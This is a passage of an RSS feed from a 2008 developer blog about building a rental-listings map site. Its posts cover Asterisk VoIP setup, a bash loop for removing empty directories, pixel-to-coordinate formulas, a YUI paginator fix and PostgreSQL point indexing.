/&gt;allow=gsm&lt;br /&gt;allow=ulaw&lt;br /&gt;allow=alaw&lt;br /&gt;mailbox=1234@default,1233@default&lt;br /&gt;&lt;br /&gt;I set the SIP Account Settings on the downloaded phone:&lt;br /&gt;Display Name: xlite1&lt;br /&gt;User name: xlite1&lt;br /&gt;Domain: ip-address-of-asterisk-box&lt;br /&gt;&lt;br /&gt;The echo test suggested by the article by dialing *43 did not work. I just got a message saying "the caller you have dialed is not available". &lt;br /&gt;&lt;br /&gt;Google brought me to http://www.asteriskguru.com/tutorials/echo.html which made me realize that the echo test is provided by the asterisk server. Searching /etc/asterisk/extensions.conf for "echo" showed me the echo test was set to extension 600. Dialing 600 worked!&lt;br /&gt;&lt;br /&gt;So far so good...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-4870464466443482711?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2008/12/voip-step-one.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>2</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-2428367079356610100</guid><pubDate>Tue, 02 Dec 2008 23:14:00 +0000</pubDate><atom:updated>2008-12-02T15:16:59.827-08:00</atom:updated><title>bash remove empty directories</title><description>for v in *; do [ $(ls -lA $v | wc -l) -eq 1  ] &amp;&amp; rmdir $v; done;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-2428367079356610100?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2008/12/bash-remove-empty-directories.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-1175730337682125825</guid><pubDate>Sun, 02 Nov 2008 16:06:00 +0000</pubDate><atom:updated>2008-11-02T08:07:47.769-08:00</atom:updated><title>Css Float Tips</title><description>&lt;a href="http://warpspire.com/tipsresources/web-production/css-column-tricks/"&gt;http://warpspire.com/tipsresources/web-production/css-column-tricks/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-1175730337682125825?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2008/11/css-float-tips.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-3296937320221841402</guid><pubDate>Sat, 01 Nov 2008 15:14:00 +0000</pubDate><atom:updated>2008-11-02T13:00:55.393-08:00</atom:updated><title>Converting pixels to latlng</title><description>I thought to convert pixel coordinates (as generated for google maps, where latlng(0.0,0.0) at zoom 0 gives point(128,128) to latitude/longitude in pl/pgsql.&lt;br /&gt;I found various formulas - all wrong, presumably because they did not account for offset - until I came across a javascript example:&lt;br /&gt;&lt;br /&gt;The following code came from a news thread, which seemed to say the code came from &lt;a href="http://econym.org.uk/gmap/"&gt;http://econym.org.uk/gmap/&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;function pixelToLatLng(a,b) {&lt;br /&gt;var c = 256 * Math.pow(2,b);&lt;br /&gt;var ex = c/2;&lt;br /&gt;var ey = c/2;&lt;br /&gt;var rd = c/360;&lt;br /&gt;var sd = c/(2*Math.PI);&lt;br /&gt;&lt;br /&gt;var f = (a.x-ex)/rd;&lt;br /&gt;var g = -(a.y-ey)/sd;&lt;br /&gt;var h = (2*Math.atan(Math.exp(g))-Math.PI/2);&lt;br /&gt;var h = h/(Math.PI/180);&lt;br /&gt;return new GLatLng(h,f);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;From &lt;a href="http://msdn.microsoft.com/en-us/library/aa940990.aspx"&gt;http://msdn.microsoft.com/en-us/library/aa940990.aspx&lt;/a&gt; we have:&lt;br /&gt;At any latitude and zoom level, you can determine the scale by using the following equation:&lt;br /&gt;Map resolution = 156543.04 meters/pixel * cos(latitude) / (2 ^ zoomlevel)&lt;br /&gt;&lt;br /&gt;From &lt;a href="http://msdn.microsoft.com/en-us/library/bb259689.aspx"&gt;http://msdn.microsoft.com/en-us/library/bb259689.aspx&lt;/a&gt; we have:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;map width = map height = 256 * 2&lt;/code&gt;             &lt;span class="sup"&gt;level&lt;/span&gt;             &lt;code&gt; pixels&lt;/code&gt;&lt;br /&gt;      &lt;p&gt;             &lt;code&gt;      ground resolution = cos(latitude * pi/180) * earth circumference / map width&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;= (cos(latitude * pi/180) * 2 * pi * 6378137 meters) / (256 * 2&lt;/code&gt;             &lt;span class="sup"&gt;level&lt;/span&gt;             &lt;code&gt; pixels)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;From &lt;a href="http://msdn.microsoft.com/en-us/library/cc161076.aspx"&gt;http://msdn.microsoft.com/en-us/library/cc161076.aspx&lt;/a&gt; we have:&lt;/code&gt;&lt;/p&gt;&lt;p&gt;         &lt;code&gt;Longitude = ((PixelX * 360) / (256 * 2&lt;/code&gt;         &lt;span class="sup"&gt;ZoomLevel&lt;/span&gt;         &lt;code&gt;)) - 180&lt;/code&gt;       &lt;/p&gt;       &lt;p&gt;In the example, these become:&lt;/p&gt;       &lt;p&gt;         &lt;code&gt;LongMin = ((67328 * 360) / (256 * 2&lt;/code&gt;         &lt;span class="sup"&gt;9&lt;/span&gt;         &lt;code&gt;)) - 180 ~= 4.921875&lt;/code&gt;       &lt;/p&gt;       &lt;p&gt;         &lt;code&gt;LongMax = ((67583 * 360) / (256 * 2&lt;/code&gt;         &lt;span class="sup"&gt;9&lt;/span&gt;         &lt;code&gt;)) - 180 ~= 5.622253&lt;/code&gt;       &lt;/p&gt;       &lt;p&gt;Before the latitude is calculated, here some intermediate calculations to help refactor the code.&lt;/p&gt;       &lt;p&gt;         &lt;code&gt;denom = 256 * 2&lt;/code&gt;         &lt;span class="sup"&gt;ZoomLevel&lt;/span&gt;       &lt;/p&gt;       &lt;p&gt;         &lt;code&gt;efactor = e&lt;/code&gt;         &lt;span class="sup"&gt;(0.5 - ((PixelY) / (denom) )* 4 * pi&lt;/span&gt;       &lt;/p&gt;       &lt;p&gt;The latitude is then calculated as the following.&lt;/p&gt;       &lt;p&gt;         &lt;code&gt;Latitude = asin((efactor - 1) / (efactor + 1)) * (180 / pi)&lt;/code&gt;       &lt;/p&gt;       &lt;p&gt;The example becomes:&lt;/p&gt;       &lt;p&gt;         &lt;code&gt;denom = 256 * 2&lt;/code&gt;         &lt;span class="sup"&gt;9&lt;/span&gt;         &lt;code&gt; = 131072&lt;/code&gt;       &lt;/p&gt;       &lt;p&gt;         &lt;code&gt;efactor&lt;/code&gt;         &lt;span class="sub"&gt;min&lt;/span&gt;         &lt;code&gt; = e&lt;/code&gt;         &lt;span class="sup"&gt;(0.5 - ((43264) / (denom) )* 4 * pi&lt;/span&gt; ~= 8.459595&lt;/p&gt;       &lt;p&gt;         &lt;code&gt;efactor&lt;/code&gt;         &lt;span class="sub"&gt;max&lt;/span&gt;         &lt;code&gt; = e&lt;/code&gt;         &lt;span class="sup"&gt;(0.5 - ((43519) / (denom) )* 4 * pi&lt;/span&gt; ~= 8.255283&lt;/p&gt;       &lt;p&gt;         &lt;code&gt;Latitude&lt;/code&gt;         &lt;span class="sub"&gt;min&lt;/span&gt;         &lt;code&gt; = asin((efactor - 1) / (efactor + 1)) * (180 / pi) ~= 52.052490&lt;/code&gt;       &lt;/p&gt;       &lt;p&gt;         &lt;code&gt;Latitude&lt;/code&gt;         &lt;span class="sub"&gt;max&lt;/span&gt;         &lt;code&gt; = asin((efactor - 1) / (efactor + 1)) * (180 / pi) ~= 51.619721&lt;/code&gt;       &lt;/p&gt;&lt;p&gt;           &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-3296937320221841402?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2008/11/useful-formulas.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-3181809855720746231</guid><pubDate>Wed, 29 Oct 2008 23:37:00 +0000</pubDate><atom:updated>2008-11-09T20:05:42.811-08:00</atom:updated><title>YAHOO! Yui DataTable with Paginator</title><description>I thought to be efficient, I'd return json data rather than html formatted data (which could be displayed easily via  innerHTML). Then to format the json data I thought I'd use Yui dataTable. Then, I figured I'd used the pagination interface it provides. Everything went well except getting the pagination to show totalRecords is just not working....&lt;br /&gt;&lt;br /&gt;Oh my! The paginator does a  if (lang.isNumber(totalRecords))...&lt;br /&gt;In the json result object, totalRecords was a string.&lt;br /&gt;In php doing $object-&gt;totalRecords = (int)$totalRecords did the trick.&lt;br /&gt;&lt;br /&gt;The second problem overcome:&lt;br /&gt;onMapMoveEnd I submit the coordinates to get the data within the new map view. On getting the data back, onDataReturnInitializeTable is called. But unexpectedly, onDataReturnInitializeTable does not reset the indicated page number. This was solved via using the following callback instead:&lt;br /&gt;    var f = function(sRequest,oResponse,oPayload){&lt;br /&gt;        var paginator = this.get('paginator');&lt;br /&gt;        this.onDataReturnInitializeTable(sRequest, oResponse, oPayload);&lt;br /&gt;        paginator.set('page',1);&lt;br /&gt;        paginator.setPage(1,true); //true suppresses firing the change event&lt;br /&gt;    }&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-3181809855720746231?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2008/10/yahoo-yui-datatable-with-paginator.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-4792063343671526982</guid><pubDate>Mon, 27 Oct 2008 15:22:00 +0000</pubDate><atom:updated>2008-10-27T08:38:27.916-07:00</atom:updated><title>On the client side</title><description>The &lt;a href="http://gmaps-utility-library.googlecode.com/svn/trunk/dragzoom/release/docs/reference.html"&gt;dragzoom&lt;/a&gt; utility from Google maps works great.&lt;br /&gt;&lt;br /&gt;But some issues:&lt;br /&gt;&lt;br /&gt;The concept is really simple, and it only takes 10 seconds to master. But how to convey the concept the first time? Clicking on the map to switch it into zoom mode is great - it makes things happen, it populates the zoom box instructions.&lt;br /&gt;&lt;br /&gt;However, I cannot capture a click event (at least in firefox) once the zoom overlay is present. I wanted to allow zoom/normal mode switching via clicking.&lt;br /&gt;To cancel a zoom in progress, you just need to drag a really small area - but this instruction is hard to convey.&lt;br /&gt;Might it be better to require a click to zoom in, rather than zoom in on drag end?&lt;br /&gt;The back button is hidden when zoom is activated. Again, conveying the two state idea (zoom button activated versus not) and how to switch between the modes is critical.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-4792063343671526982?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2008/10/on-client-side.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-6653547475317101849</guid><pubDate>Sun, 26 Oct 2008 04:39:00 +0000</pubDate><atom:updated>2008-10-26T08:55:24.179-07:00</atom:updated><title>On the database side</title><description>Fast indexing is essential. I've accomplished this by pre-generating xy coordinates for each zoom level from 0 through 19 from latitude,longitude. Now I am trying to decide if it is better to use a Gist index, treating xy as a point data type, or if I should just keep x and y as separate int8, and figure out bounding box rectangles manually.&lt;br /&gt;&lt;br /&gt;I gave up on postgis, as I found there to be too much to learn about gis concepts. And really, since google maps converts everything into grids of fixed sizes, full blown gis is unnecessary.&lt;br /&gt;&lt;br /&gt;For indexing datatype point, rom &lt;a href="http://grokbase.com/topic/2007/08/09/sql-indexing-a-field-of-type-point/l0CSq8QrVfcv-oXDg2FdnFEUvZM"&gt;link&lt;/a&gt; I found this:&lt;br /&gt;&lt;blockquote&gt;Given the standard opclasses, your best bet is to convert the point into&lt;br /&gt;a zero-volume box or circle, eg&lt;br /&gt;&lt;br /&gt;[Except to use box(pointcol,pointcol) to avoid "operator does not exist: circle &amp;&amp; box"]&lt;br /&gt;create index i on t using gist (circle(pointcol,0))&lt;br /&gt;&lt;br /&gt;and then express queries as "circle(pointcol,0) overlaps target-box".&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-6653547475317101849?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2008/10/on-database-side.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>3</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-8637504770641222479</guid><pubDate>Sun, 26 Oct 2008 04:25:00 +0000</pubDate><atom:updated>2008-11-01T08:04:06.855-07:00</atom:updated><title>Doing away with icons and clustering</title><description>I spent lots of time trying to find a good clustering algorithm, without success. I suspect a good one would require learning lots of math or gis science.&lt;br /&gt;&lt;br /&gt;An important reference turns out to be &lt;a href="http://msdn.microsoft.com/en-us/library/bb259689.aspx"&gt;http://msdn.microsoft.com/en-us/library/bb259689.aspx&lt;/a&gt; which explains quadkeys and gives very concise code to generate them.&lt;br /&gt;&lt;br /&gt;So, I embarked down the road to just drawing dots. Google maps allows one to retrieve an overlay for every image tile. I draw every data point onto a transparent png. This works well, and there is no need for clustering, as even a few thousand dots are fast to generate... but I need to actually test this out. Later I can optimize drawing of dots, or perhaps draw dots of differing sizes, shape, color etc.&lt;br /&gt;&lt;br /&gt;You can't click on a dot, like you can an icon... but I think I may have found a better path. Google maps provides a dragzoom utility. Instead of clicking on a dot, you drag a box around an area of interest. This strikes me as being better than "clicking a dot" since for real estate you are really after information within an area, even a small area, rather than at a specific point.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-8637504770641222479?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2008/10/doing-away-with-icons-and-clustering.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-8849361747905837132</guid><pubDate>Sun, 26 Oct 2008 04:16:00 +0000</pubDate><atom:updated>2008-10-25T21:22:42.885-07:00</atom:updated><title>Other rental sites</title><description>http://www.housingmaps.com/ displays lots of data, but it is not rental specific. The summary data isn't great. But it is only a mashup of craigslist, which is generalized. I don't think generalized classifieds will ever work as well as specialized classifieds.&lt;br /&gt;&lt;br /&gt;http://www.flyrig.com/ featuring New York apartment rentals was about the best site I encountered integrating google maps. I found them when reviewing google map applications somehow. The way they link the text list of records to icons on the map is good. If you cursor over an icon, it highlites the text, and if you cursor over the text, it highlites the icon (and pans the map, if necessary).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-8849361747905837132?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2008/10/other-rental-sites.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-1463284730743101589.post-154880132029746672</guid><pubDate>Sun, 26 Oct 2008 03:58:00 +0000</pubDate><atom:updated>2008-10-25T21:24:21.734-07:00</atom:updated><title>Integration of google maps</title><description>This details my experiences with building www.homerent.ca, which mostly advertises rental properties in Calgary and Edmonton.&lt;br /&gt;&lt;br /&gt;To display rental properties on a google map, here are some issues.&lt;br /&gt;&lt;br /&gt;1. Too much data to display as icons. E.g. for  Calgary, we often have over a thousand listings. Drawing a 1000 GIcons does not work well (too slow). Clustering the icons client side sort of works. I tried it with the acme clusterer.js. But it is a little slow.&lt;br /&gt;&lt;br /&gt;2. Another problem is since we conveniently use postal codes for geo-encoding,  you often end up with many properties in the exact same location. I didn't like having some GIcons representing a single property versus some representing lots of properties. And all the rental sites I reviewed displayed overlapping icons, which favored the top one, and made clicking on underlying ones a pain.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1463284730743101589-154880132029746672?l=developer.thebrain.ca' alt='' /&gt;&lt;/div&gt;</description><link>http://developer.thebrain.ca/2008/10/integration-of-google-maps.html</link><author>noreply@blogger.com (TheBrain.ca)</author><thr:total>0</thr:total></item></channel></rss>
